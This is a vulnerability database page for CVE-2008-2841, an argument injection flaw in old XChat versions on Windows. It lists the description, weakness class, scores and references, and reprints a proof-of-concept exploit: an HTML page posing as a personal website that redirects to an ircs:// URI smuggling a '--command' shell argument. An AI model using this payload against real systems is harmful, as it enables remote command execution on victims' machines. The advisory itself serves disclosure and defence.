CVE-2008-2841 : Detail

CVE-2008-2841

Code Injection
A03-Injection
15%V3
Network
2008-06-24
17h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Argument injection vulnerability in XChat 2.8.7b and earlier on Windows, when Internet Explorer is used, allows remote attackers to execute arbitrary commands via the --command parameter in an ircs:// URI.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 5795

Publication date : 2008-06-12 22h00 +00:00
Author : securfrog
EDB Verified : Yes

################################################################################################################## # # Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched) # Vendor : http://xchat.org/ # Affected Os : Windows * # Risk : critical # # This bug is related to the URI Handler vulnerability but the approch is a bit different. # We don't use any % or ../../../ as the others related bugs, just a single " # According to the registry , when the IRCS:// URI is called , the command launched is : # C:\Program Files\xchat\xchat.exe --existing --url="%1" # # The xchat --help option tells us : # " --command=COMMAND :Send a command to existing xchat " # # So we add a simple " at the end of the URL and we're in business ? # Yep =) ircs://[email protected]" --command "shell calc" # # Note: The victim needs to be connected to an irc server , and also need IE * . # # # # Greetz: French/Quebec community, http://spiritofhack.net/ # # "If in times like theses you can talk about individual freedoom, you're propably a terrorist" # # Poc: this only launch the calc, sky is the limit passed this point. <html> <head><title>Welcome to my personal website</title></head> <body> <script>document.location='ircs://[email protected]" --command "shell calc"'</script> </body> </html> # milw0rm.com [2008-06-13]

Products Mentioned

Configuraton 0

Microsoft>>Windows_nt >> Version *

Microsoft>>Internet_explorer >> Version *

Xchat>>Xchat >> Version To (including) 2.8.7b

References

http://www.securityfocus.com/bid/29696
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/5795
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/30695
Tags : third-party-advisory, x_refsource_SECUNIA